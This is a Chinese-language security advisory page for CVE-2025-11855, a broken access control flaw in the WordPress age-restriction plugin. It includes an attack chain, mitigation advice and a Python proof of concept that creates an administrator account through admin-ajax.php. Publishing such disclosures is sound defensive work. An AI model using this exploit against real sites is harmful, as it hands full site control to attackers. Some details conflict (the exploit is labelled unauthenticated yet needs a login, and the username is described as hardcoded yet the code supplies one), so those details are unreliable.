IPBUF安全漏洞报告
English
CVE-2025-11855 CVSS 7.5 高危

CVE-2025-11855 WordPress age-restriction插件权限绕过导致管理员账户创建

披露日期: 2025-11-11

漏洞信息

漏洞编号
CVE-2025-11855
漏洞类型
权限绕过/权限提升
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WordPress age-restriction plugin (<=3.0.2)

相关标签

CVE-2025-11855WordPress插件漏洞权限绕过权限提升Broken Access ControlPrivilege Escalationage-restrictionWordPress安全CWE-284OWASP

漏洞概述

CVE-2025-11855是WordPress age-restriction插件中的一个严重安全漏洞。该插件版本至3.0.2存在访问控制缺陷,其age_restrictionRemoteSupportRequest函数缺少适当的授权验证机制。攻击者只需拥有一个低权限账户(如订阅者角色),即可利用此漏洞在目标WordPress网站上创建管理员级别的账户。攻击者可以使用任意密码创建一个具有管理权限的新用户,从而完全控制整个WordPress站点。此漏洞的CVSS评分为7.5,属于高危级别,攻击复杂度低,无需用户交互即可实现。攻击成功后,攻击者可获得网站的完全控制权,包括修改网站内容、上传恶意文件、窃取敏感数据等。该漏洞由WPScan安全团队发现并披露,披露日期为2025年11月11日。

技术细节

该漏洞位于age-restriction插件的age_restrictionRemoteSupportRequest函数中。问题根源在于该函数未对调用者进行权限验证,允许任何已认证用户(包括最低权限的subscriber角色)调用此函数。该函数内部实现了创建WordPress用户的功能,并且使用硬编码的用户名,攻击者可指定任意密码。由于缺少wp_die或current_user_can等权限检查,任何通过WordPress身份验证的用户都能触发此函数执行。攻击者通过构造恶意请求,调用该未授权函数,即可在目标站点创建一个具有管理员权限的账户。攻击路径为:认证用户 -> 发送恶意请求到age_restrictionRemoteSupportRequest -> 创建管理员账户 -> 登录后台获取完全控制权。

攻击链分析

STEP 1
步骤1
攻击者获取目标WordPress站点的低权限账户(如subscriber角色)
STEP 2
步骤2
使用该账户登录WordPress,获取有效的认证session
STEP 3
步骤3
构造AJAX请求,调用age_restrictionRemoteSupportRequest函数
STEP 4
步骤4
在请求中指定目标用户名和密码,绕过授权检查触发用户创建
STEP 5
步骤5
系统创建具有管理员权限的新账户
STEP 6
步骤6
攻击者使用新创建的管理员账户登录后台,完全控制WordPress站点

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-11855 PoC # WordPress age-restriction plugin <= 3.0.2 - Privilege Escalation via Unauthenticated Admin Creation target_url = sys.argv[1] if len(sys.argv) > 1 else "http://target.com" username = sys.argv[2] if len(sys.argv) > 2 else "wpscan" password = sys.argv[3] if len(sys.argv) > 3 else "password123" # WordPress login to get authentication cookie login_url = f"{target_url}/wp-login.php" login_data = { "log": "attacker_account", # Any valid low-privilege user "pwd": "user_password", "wp-submit": "Log In", "redirect_to": "/wp-admin/", "testcookie": "1" } session = requests.Session() login_response = session.post(login_url, data=login_data) # Check if login successful if "wordpress_logged_in" in str(session.cookies) or login_response.status_code == 200: print("[+] Logged in successfully") # Exploit the vulnerable endpoint exploit_url = f"{target_url}/wp-admin/admin-ajax.php" exploit_data = { "action": "age_restrictionRemoteSupportRequest", "username": username, "password": password } exploit_response = session.post(exploit_url, data=exploit_data) if exploit_response.status_code == 200: print(f"[+] Exploit sent - Admin user '{username}' should be created") print(f"[+] Login with: {username}:{password}") else: print("[-] Exploit failed") else: print("[-] Login failed")

影响范围

age-restriction plugin < 3.0.2
age-restriction plugin <= 3.0.2

防御指南

临时缓解措施
立即将age-restriction插件升级到最新版本(3.0.3及以上)。如果无法立即升级,可临时禁用该插件或限制用户注册功能。同时建议审查现有管理员账户,删除可疑账户,并启用双因素认证增强安全性。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表